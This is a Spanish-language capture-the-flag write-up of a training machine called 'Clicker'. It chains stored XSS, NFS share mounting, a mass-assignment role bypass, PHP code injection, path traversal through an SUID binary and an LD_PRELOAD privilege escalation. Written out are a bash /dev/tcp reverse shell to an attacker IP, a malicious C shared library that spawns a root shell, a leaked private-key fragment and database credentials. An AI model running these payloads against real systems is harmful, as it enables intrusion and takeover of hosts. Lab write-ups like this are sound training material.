Clicker Writeup
Enumeración:
Para iniciar el proceso de enumeración, realizamos un escaneo de puertos con nmap
empleando la siguiente sintaxis:
nmap -p- -n -Pn -sS -sV -sC -vvv --open --min-rate 5000 10.129.207.34
Los resultados del escaneo revelan la siguiente información:

A continuación, realizamos un escaneo de directorios utilizando Gobuster:

En el puerto 80, se encuentra un sitio web que, basándonos en las extensiones de los archivos identificados en el escaneo anterior, sugiere el uso de PHP en su backend.

En la sección Info, se identifican varios nombres de usuario que podrían utilizarse en intentos de autenticación. Tras varios intentos, se determina que la aplicación no es vulnerable a SQL Injection (SQLi), por lo que la mejor alternativa es registrar un nuevo usuario.
Al acceder al sistema, se encuentra una sección denominada /play.php.

Dicha sección contiene un contador que incrementa al hacer clic en la imagen del cursor. Al guardar la información, los parámetros clicks y levels son transmitidos mediante el método GET.
Esto resulta llamativo, ya que si estos valores son representados en otra sección del sitio web utilizando innerHTML, y no se implementan medidas de seguridad adecuadas, podría derivar en la ejecución de código JavaScript malicioso en el navegador del usuario.
Capturamos la petición mediante Burp Suite y modificamos el valor del parámetro clicks.

Se confirma la ausencia de validación del input del usuario, ya que la información es almacenada sin restricciones.

Al acceder a la sección Profile, que redirige a profile.php, el código JavaScript malicioso se ejecuta, confirmando la vulnerabilidad a Cross-Site Scripting (XSS) almacenado.

No obstante, el impacto del XSS almacenado es limitado, ya que la carga maliciosa solo se visualiza en la sesión del usuario actual. Esto restringe su explotación para ataques como Cookie Hijacking, ya que otros usuarios no pueden acceder a la información comprometida.
Identificación de Servicio NFS
Retomando los resultados del escaneo de puertos, se detecta un servicio NFS (Network File System) activo en la máquina objetivo.

¿Qué es y como se compone NFS (Network File System)?
Es un protocolo de sistema de archivos distribuido que permite a los usuarios de una red acceder y compartir archivos y directorios.
El NFS es un protocolo de sistema de archivos distribuido que permite a los usuarios de una red acceder y compartir archivos y directorios de manera remota.
La configuración del servicio se gestiona a través del archivo /etc/exports, donde se especifican los recursos compartidos y sus respectivas configuraciones, siguiendo la siguiente sintaxis:
/ruta/compartida cliente_ip(rw,async,no_root_squash)
Las opciones de configuración incluyen:
-
ro (read only): Esta opción indica que los clientes solo pueden acceder a los archivos compartidos en modo de solo lectura.
-
rw(read-write): Esta opción permite a los clientes acceder a los archivos compartidos en modo de lectura y escritura.
-
sync: garantiza que las escrituras se sincronicen inmediatamente en el servidor, lo que significa que los cambios en los archivos se escriben en el disco de manera inmediata.
-
async: permite que las escrituras se realicen de manera asíncrona, lo que puede mejorar el rendimiento, pero existe el riesgo de pérdida de datos en caso de un corte de energía repentino o un fallo del sistema.
-
no_root_squash: desactiva esta función, lo que significa que el usuario root en el cliente tendrá los mismos privilegios que el usuario root en el servidor.
-
root_squash: por otro lado, cambia los privilegios de root en el cliente remoto a un usuario sin privilegios, como
nobody
onfsnobody
, para proteger el sistema de posibles ataques.
Para listar los recursos compartidos, ejecutamos:
showmount -e 10.129.251.200
El resultado muestra un recurso accesible desde cualquier dirección IP.

Para montar dicho recurso localmente, usamos el comando mount:
mount -t nfs <REMOTE IP>:/file/system /montura/local
Dentro del recurso compartido, encontramos un archivo comprimido clicker.htb_backup.zip. Al descomprimirlo, se obtiene un directorio clicker.htb, que contiene una copia de seguridad completa del sitio web.

En el archivo db_utils.php, se identifican credenciales de la base de datos:
$db_server="localhost";
$db_username="clicker_db_user";
$db_password="clicker_db_password";
$db_name="clicker"
Asimismo, al analizar save_game.php, se observa que los datos enviados por GET se procesan mediante la función save_profile, la cual estructura una cadena de texto con los pares clave-valor.
Dentro de este último archivo, se puede identificar información clave sobre la estructura de la tabla de usuarios, llamada players. Esta tabla contiene diversos campos, los cuales definen las propiedades y datos asociados a cada usuario.

Conociendo la estructura de la tabla de usuarios, se comprende mejor la razón detrás de la validación implementada en save_game.php, la cual impide que se introduzca el parámetro role.
Esta validación se realiza porque la función save_profile toma todos los argumentos procesados en save_game.php y los recorre mediante un bucle foreach, formateando una cadena de texto que se construye con los pares clave-valor y adopta un formato similar al siguiente:
click=\12,level=\0 etc....

Dicha cadena se inserta como parte de un comando SQL, cuyo propósito es actualizar la información del usuario correspondiente.

Lo anterior deja en evidencia una vulnerabilidad importante: sí logramos sortear la validación del parámetro role en el archivo save_game.php, podríamos modificar nuestro nivel de privilegios en el sistema. Esto se debe a que la función save_profile, al procesar dicho parámetro, actualizaría el campo correspondiente en la base de datos, permitiéndonos elevar los privilegios de nuestra cuenta actual al nivel de administrador. Estaríamos ante una ataque de Asignación Masiva.

Explotación
Para llevar a cabo el bypass, existen dos métodos sencillos que permiten eludir las restricciones establecidas.
Método 1:
Se puede modificar el signo =
por su equivalente en URL ENCODE.

Método 2:
Se puede emplear un comentario en bloque utilizando /**/
, como en SQL.

Si el bypass se realiza con éxito, se mostrará en pantalla el mensaje “Game has been saved”.

Inicialmente, no se reflejará la asignación de permisos administrativos a la cuenta, ya que el rol del usuario se establece en el momento de iniciar sesión. Por lo tanto, es necesario cerrar la sesión actual y volver a ingresar.

Al iniciar sesión nuevamente, se observará la aparición de un nuevo apartado denominado “Administration”.

Dentro de esta sección, se encuentra una tabla con los usuarios que poseen las puntuaciones más altas, además de la opción para exportar estos datos en formatos TXT, HTML y JSON.

Al generar un archivo y analizar la petición, se identifican los siguientes parámetros transmitidos en la solicitud:

Este comportamiento resulta particularmente interesante, ya que si es posible manipular la extensión del archivo generado, el servidor podría ejecutar el tipo de archivo deseado.
Sin embargo, el principal obstáculo radica en que el contenido del archivo generado siempre es el mismo. Por lo tanto, una posible estrategia consiste en lograr que nuestro usuario aparezca en la tabla de jugadores, inyectando código malicioso en alguno de los campos conocidos.

En el panel play.php, se intercepta la petición y se modifica el valor de clicks a 95.000.000, permitiendo que la cuenta aparezca en la tabla de jugadores destacados. Adicionalmente, se explota la vulnerabilidad de asignación masiva, editando el campo nickname con código malicioso en PHP.

Al revisar nuevamente la tabla, el nickname del usuario no aparece reflejado. No obstante, al generar un archivo en formato PHP y ejecutarlo, se evidencia que el código inyectado es interpretado por el backend, permitiendo la ejecución de comandos con el objetivo de establecer una reverse shell.

Para obtener una reverse shell, se ejecuta el siguiente comando. Es importante asegurarse de que todos los caracteres especiales sean codificados en URL ENCODE.
bash -c 'bash -i >& /dev/tcp/10.10.14.116/4444 0>&1'
bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.116/4444+0>%261'

Escalada
Este mensaje y contando que el script esta escrito en C me da indicios de que quizás pueda ser vulnerable a un Buffer Overflow pero tras varios intentos fallidos de explotar dicha vulnerabilidad y una pequeña búsqueda de que puede indicar este mensaje de error, al parecer la presencia de este no indica explícitamente de que sea vulnerable, deja abiertas las posibilidades a un 50/50, aunque nunca esta de mas darle un vistazo a cualquier programa que genere este mensaje de error.

El funcionamiento de batch_readline se emplea para leer y ejecutar el contenido de un fichero sql, teniendo lo anterior en cuenta podremos ejecutar comandos a nivel de sistema como el usuario jack solo si la función sys_exec se encuentra habilitada.
Realizamos el siguiente comando para obtener las rutas pertenecientes al usuario jack o al grupo 1000 en las cuales tenemos permisos de escritura para crear un fichero con código sql malicioso.

Tras crear un fichero y darle permisos de lectura para otros usuarios encuentro un problema curioso ya que este fichero nunca es encontrado al ejecutar el binario, pero sí por ejemplo intento leer el contenido de un fichero como /etc/passwd mediante Path Transversal obtengo el contenido de este e incluso se evidencia que trata de ejecutar código SQL.

Algo que pase por alto fue acceder a la base de datos ya que las credenciales para acceder a este se pueden ver reflejadas al momento de usar el comando strings en el binario, incluso ya contaba con estas desde etapas tempranas de la enumeración.
Con dichas credenciales podremos averiguar si podemos ejecutar la función SQL para enumerar contenido sys_exec con el siguiente comando.
SELECT * FROM mysql.plugin WHERE name = 'sys_exec';

find / -type d -perm /o=w -group 1000 2>/dev/null
find / -type d -perm /o=w -user jack 2>/dev/null

Pero en base al resultado no contamos con dichos permisos. Empleando el siguiente comando podemos encontrar las rutas en las cuales nuestro usuario actual www-data tiene permisos de escritura para crear nuestro fichero malicioso al cual le concederemos permisos de lectura y ejecución a otros usuarios.
find / -type d -perm /u=w -user www-data 2>/dev/null
En base al siguiente resultado podemos concluir en que no podremos hacer que el binario ejecute código malicioso arbitrariamente.

Ingresamos como el usuario www-data y en el proceso de enumeración de usuarios encontre que el sistema cuenta con los siguiente usuarios.
root:x:0:0:root:/root:/bin/bash
jack:x:1000:1000:jack:/home/jack:/bin/bash
En búsqueda de ficheros que tengan un SUID que pertenezcan al usuario jack realizando el siguiente comando.
find / -type f -group 1000 -perm -4000 2>/dev/null
Encontre un binario llamado execute_query, en el mismo directorio donde se encuentra este encontramos un archivo README.txt el cual explica como debe de ser usado dicho binario.

Al tratarse de un binario no podremos realizar cat en este pero si empleamos el comando strings evidenciamos que este fue compilado con GCC así que se trata de un programa escrito en C++.
Como se explicaba en el fichero README.txt simplemente debemos de ingresar un numero como parámetro para desencadenar cierta accion.
Intentado generar cualquier mensaje de error para obtener mas información o indicio de vulnerabilidad encontré que al ingresar un numero mayor que 5 seguido de un espacio y cualquier carácter se evidencia el siguiente mensaje el cual indica que el binario trata de leer el contenido de un fichero.

Esto abre la posibilidad de poder realizar un Path Transversal y leer contenido que solo el usuario jack pueda acceder,
esto es posible porque el binario cuenta con el SUID de dicho usuario.
Probando tras comprobar el que podemos leer ficheros como passwd tambien pude obtener la llave rsa privada del usuario jack.
./execute_query 33 ../.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY---
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAs4eQaWHe45iGSieDHbraAYgQdMwlMGPt50KmMUAvWgAV2zlP8/1Y
J/tSzgoR9Fko8I1UpLnHCLz2Ezsb/MrLCe8nG5TlbJrrQ4HcqnS4TKN7DZ7XW0bup3ayy1
kAAZ9Uot6ep/ekM8E+7/39VZ5fe1FwZj4iRKI+g/BVQFclsgK02B594GkOz33P/Zzte2jV
Tgmy3+htPE5My31i2lXh6XWfepiBOjG+mQDg2OySAphbO1SbMisowP1aSexKMh7Ir6IlPu
nuw3l/luyvRGDN8fyumTeIXVAdPfOqMqTOVECo7hAoY+uYWKfiHxOX4fo+/fNwdcfctBUm
pr5Nxx0GCH1wLnHsbx+/oBkPzxuzd+BcGNZp7FP8cn+dEFz2ty8Ls0Mr+XW5ofivEwr3+e
30OgtpL6QhO2eLiZVrIXOHiPzW49emv4xhuoPF3E/5CA6akeQbbGAppTi+EBG9Lhr04c9E
Al intentar realizar el login con la llave rsa obtuve el siguiente mensaje de error.

Este problema se debe a que la llave estaba mal formateada, aqui encontré la solución al problema.
Dentro con una shell como el usuario jack, realizando el comando sudo -l para ver que podemos correr como el usuario root encontré lo siguiente.

Podremos ejecutar el script /opt/monitor.sh sin proporcionar una contraseña, pero debido a la opción SETENV esta nos permite
alterar alguna variable de entorno y conservarlas al momento de ejecutar el fichero, pero primero vamos a entender que realiza este script.
#!/bin/bash
if [ "$EUID" -ne 0 ]
then echo "Error, please run as root"
exit
fi
set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;
data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token);
/usr/bin/xml_pp <<< $data;
if [[ $NOSAVE == "true" ]]; then
exit;
else
timestamp=$(/usr/bin/date +%s)
/usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml
fi
El primer bloque de código es un simple condicional que valida el Effective User ID(EUID) el cual es un identificar de los permisos que
tiene un proceso, por ejemplo si ejecutamos un binario o script que cuenta con el Set User ID(SUID) de un usuario, este obtendrá como valor de
EUID el UID de dicho usuario. Claramente al ejecutar el binario como sudo lo estamos haciendo como el usuario root, por ende
el EUID de este proceso sera 0 y pasaremos esa validación sin problema alguno.
En el unset que se esta empleando en el código, es simplemente para limpiar variables relacionadas con la configuración de bibliotecas en de Perl que posiblemente emplee alguno de los binarios del sistema que se están usando en el script.
La variable data esta siendo empleada para guardar el resultado del comando curl el cual realiza una petición al apartado web diagnostic.php. En el código de este apartado se observa la información que se recopila y sera enviada en formato XML como respuesta a dicha petición.
$data=[];
$data["timestamp"] = time();
$data["date"] = date("Y/m/d h:i:sa");
$data["php-version"] = phpversion();
$data["test-connection-db"] = $connection_test;
$data["memory-usage"] = memory_get_usage();
$env = getenv();
$data["environment"] = $env;
$xml_data = new SimpleXMLElement('<?xml version="1.0"?><data></data>');
array_to_xml($data,$xml_data);
$result = $xml_data->asXML();
print $result
Al final del script se evidencia que se esta guardando un fichero en el directorio /root/diagnostic_files/ con el contenido de la respuesta a la petición
realizada con curl.
Algo mas a destacar es que el fichero usa siempre rutas absolutas para llamar algún binario del sistema, lo cual imposibilita escalar privilegios realizando Path Hijacking.
Para escalar privilegios abusaremos del permiso SETENV el cual evita que se limpien las variables de entorno personalizadas al ejecutar un binario. Una variable util sera LD_PRELOAD esta variable de entorno permite precargar una biblioteca compartida antes que cualquier otra biblioteca sea cargada por un programa.
Con la anterior informacion es facil saber el vector de elevacion de privilegios, cargar una librería compartida maliciosa con la variable de entorno LD_PRELOAD y que el binario llame una libreria que contenga codigo malicioso que terminara siendo ejecutado y permitira elevar privilegios.
Usualmente el fichero sudoers cuenta con una linea la cual reinicia el valor de algunas variables de entorno para evitar posibles riesgos de seguridad.

Pero en nuestro caso concreto dicho valor asignado a la variable de entorno LD_PRELOAD no sera restablecido gracias a SETENV.
Ya que la maquina no cuenta con el compilador gcc instalado lo compilaremos en nuestra maquina atancante, posteriormente levantamos un servicio http y descargamos en la maquina victima la librería compartida, esta libreria la guardamos en el directorio tmp para efectos de tener permisos de escritura. El contenido de la librería compartida es el siguiente.
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init(){
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
para compilar el script realizamos el siguiente comando:
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
Finalmente ejecutamos el binario para desencadenar el llamado a la libreria maliciosa y obtener una shell como el usuario root.
sudo LD_PRELOAD=/tmp/shell.so /opt/monitor.sh

Si desea obtener mas información o si no te quedo muy claro como elevar privilegios mediante este método te recomiendo que le des un vistazo al
siguiente recurso.